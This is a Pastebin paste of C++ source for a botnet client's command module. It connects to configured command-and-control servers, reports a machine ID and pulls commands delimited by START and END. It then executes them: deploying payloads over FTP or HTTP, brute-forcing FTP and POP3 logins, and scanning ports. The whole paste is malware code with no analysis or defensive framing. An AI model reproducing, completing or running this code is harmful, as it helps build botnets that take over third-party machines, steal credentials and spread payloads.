Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Control.H.
- #ifndef CONTROL_H
- #define CONTROL_H
- #include "includes.h"
- class ControlProcClass: public ThreadClass
- {
- public:
- ControlProcClass();
- ~ControlProcClass();
- void run();
- int ConnectToServer(string hostname, int port);
- int ConnectToServers();
- int GetCommands();
- int ResolveCommands();
- int ExecuteCommands();
- int returnSock();
- string Received;
- private:
- vector <string> hostnames;
- vector <int> ports;
- DebugLog * Log;
- string Hostname;
- int port;
- SOCKET sock;
- vector<string> commands;
- int nHostnames;
- };
- #endif
- ==================================================
- Control.cpp
- #include "includes.h"
- ControlProcClass::ControlProcClass()
- {
- Log = DebugLog::initialize();
- Log->writeLog(400, __LINE__, __FILE__, "Creating CommandProcClass");
- string buffer;
- vector <string> tokens;
- buffer = CNC_SERVER_HOSTNAMES;
- SplitString(buffer, hostnames, ",");
- buffer = CNC_SERVER_PORTS;
- SplitString(buffer, tokens, ",");
- for (int i = 0; i != tokens.size(); i++)
- {
- ports.push_back(atoi(tokens[i].c_str()));
- }
- Log->writeLog(400, __LINE__, __FILE__, "Set Control Variables");
- }
- ControlProcClass::~ControlProcClass()
- {
- Log->writeLog(400, __LINE__, __FILE__, "Destroying ControlClass");
- }
- int ControlProcClass::returnSock()
- {
- ConnectToServers();
- return sock;
- }
- void ControlProcClass::run()
- {
- Log = DebugLog::initialize();
- Log->writeLog(400, __LINE__, __FILE__, "Starting command collection routine");
- Log->writeLog(400, __LINE__, __FILE__, "Connecting to Command Servers");
- if ((ConnectToServers()) == 1)
- {
- }
- GetCommands();
- ResolveCommands();
- ExecuteCommands();
- Log->writeLog(400, __LINE__, __FILE__, "Command collection routing completed");
- }
- int ControlProcClass::ConnectToServers()
- {
- int result = 2;
- for (int i = 0; i != hostnames.size(); i++)
- {
- result = ConnectToServer(hostnames[i], ports[i]);
- Hostname = hostnames[i];
- port = ports[i];
- if (result != 2)
- {
- break;
- }
- Log->writeLog(400, __LINE__, __FILE__,"Attempting connection to server - " + Hostname + "on TCP port " + IntToString(port));
- }
- Log->writeLog(400, __LINE__, __FILE__,"Connected to Command Server - " + Hostname + "on TCP port " + IntToString(port));
- return 0;
- }
- int ControlProcClass::ConnectToServer(string hostname, int port)
- {
- int error;
- string buffer;
- struct sockaddr_in sin;
- sock = socket(AF_INET, SOCK_STREAM, 0);
- if (sock == INVALID_SOCKET)
- {
- error = GetLastError();
- buffer = "Socket Function, WSAError: " + IntToString(error);
- Log->writeLog(200, __LINE__, __FILE__, buffer);
- return 2;
- }
- memset( &sin, 0, sizeof(sin) );
- sin.sin_addr.s_addr = GetHostname(hostname);
- sin.sin_family = AF_INET;
- sin.sin_port = htons(port);
- if (connect(sock, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
- {
- error = GetLastError();
- buffer = "Connect Function, WSAError: " + IntToString(error);
- Log->writeLog(200, __LINE__, __FILE__, buffer);
- return 2;
- }
- if (sock == INVALID_SOCKET)
- {
- error = GetLastError();
- buffer = "INVALID_SOCKET error, WSAError: " + IntToString(error);
- Log->writeLog(200, __LINE__, __FILE__, buffer);
- return 2;
- }
- /* string Request = "GET /control.php?id=1 HTTP/1.1\r\nHost:"+Hostname+" \r\nUser-Agent:Mozilla/4.0\r\n\r\n";
- send(sock, Request.c_str(), Request.size(), 0);
- char recvbuffer[4024];
- recv(sock, recvbuffer, 4024, 0);
- Received = recvbuffer;
- vector<string> tokens;
- SplitString(Received, tokens, "\n");
- if (tokens[0].find("HTTP/1.1 404 Not Found") != string.npos)
- {
- Log->writeLog(200, __LINE__, __FILE__, "404 Error");
- return 2;
- }*/
- return 0;
- }
- int ControlProcClass::GetCommands()
- {
- string MachineID = ReturnMachineID();
- string Request = "GET /control.php?id="+MachineID+" HTTP/1.1\r\nHost:"+Hostname+" \r\nUser-Agent:Mozilla/4.0\r\n\r\n";
- send(sock, Request.c_str(), Request.size(), 0);
- char buffer[4024];
- recv(sock, buffer, 4024, 0);
- Received = buffer;
- return 0;
- }
- int ControlProcClass::ResolveCommands()
- {
- Log->writeLog(400, __LINE__, __FILE__, "Splitting command string into an array");
- vector<string> tokens;
- SplitString(Received, tokens, "\n");
- int nCommands = 0;
- int sCommands = 0;
- for (int i = 0; i < tokens.size(); i++)
- {
- if (tokens[i].find("END") != string::npos)
- {
- sCommands = 0;
- }
- else if (sCommands == 1)
- {
- nCommands++;
- commands.push_back(tokens[i]);
- Log->writeLog(400, __LINE__, __FILE__, "Found Command "+tokens[i]);
- }
- else if (tokens[i].find("START") != string::npos)
- {
- sCommands = 1;
- }
- }
- Log->writeLog(400, __LINE__, __FILE__, "Received "+IntToString(nCommands)+" commands from control server");
- return 0;
- }
- int ControlProcClass::ExecuteCommands()
- {
- vector<string> tokens;
- for (int i = 0; i != commands.size(); i++)
- {
- SplitString(commands[i], tokens, ";");
- //
- // "DEPLOY via FTP" command
- //
- Log->writeLog(400, __LINE__, __FILE__, "Tokens: "+tokens[0]);
- if (tokens[0].find("111") != string::npos)
- {
- string hostname = tokens[1];
- string filename = tokens[2];
- string username = tokens[3];
- string password = tokens[4];
- DeployClass DeployFTP;
- DeployFTP.setFTP(hostname, 21, username, password, filename);
- DeployFTP.Start("DEPLOY_FTP");
- }
- //
- // "DEPLOY via HTTP" command
- //
- if (tokens[0].find("112") != string::npos)
- {
- string url = tokens[1];
- DeployClass DeployHTTP;
- DeployHTTP.setHTTP(url);
- DeployHTTP.Start("DEPLOY_HTTP");
- }
- // "BRUTE" command
- if (tokens[0].find("201") != string::npos)
- {
- string hostname = tokens[1];
- string usernames = tokens[2];
- string passwords = tokens[3];
- string protocol = tokens[4];
- BruteClass Brute;
- Brute.setIPAddress(hostname);
- if (protocol.find("21") != string::npos)
- {
- Brute.setProtocol(21);
- }
- else if (protocol.find("110") != string::npos)
- {
- Brute.setProtocol(110);
- }
- Brute.setUserPass(atoi(usernames.c_str()), atoi(passwords.c_str()));
- Brute.Start("BRUTE");
- }
- // "SCAN" command
- if (tokens[0].find("202") != string::npos)
- {
- string ipaddress = tokens[1];
- vector <string> tokenss;
- SplitString(ipaddress, tokenss, ";");
- ipaddress = tokenss[0];
- PortsClass Ports;
- Ports.setIPAddress(ipaddress);
- Ports.Start("SCAN");
- }
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement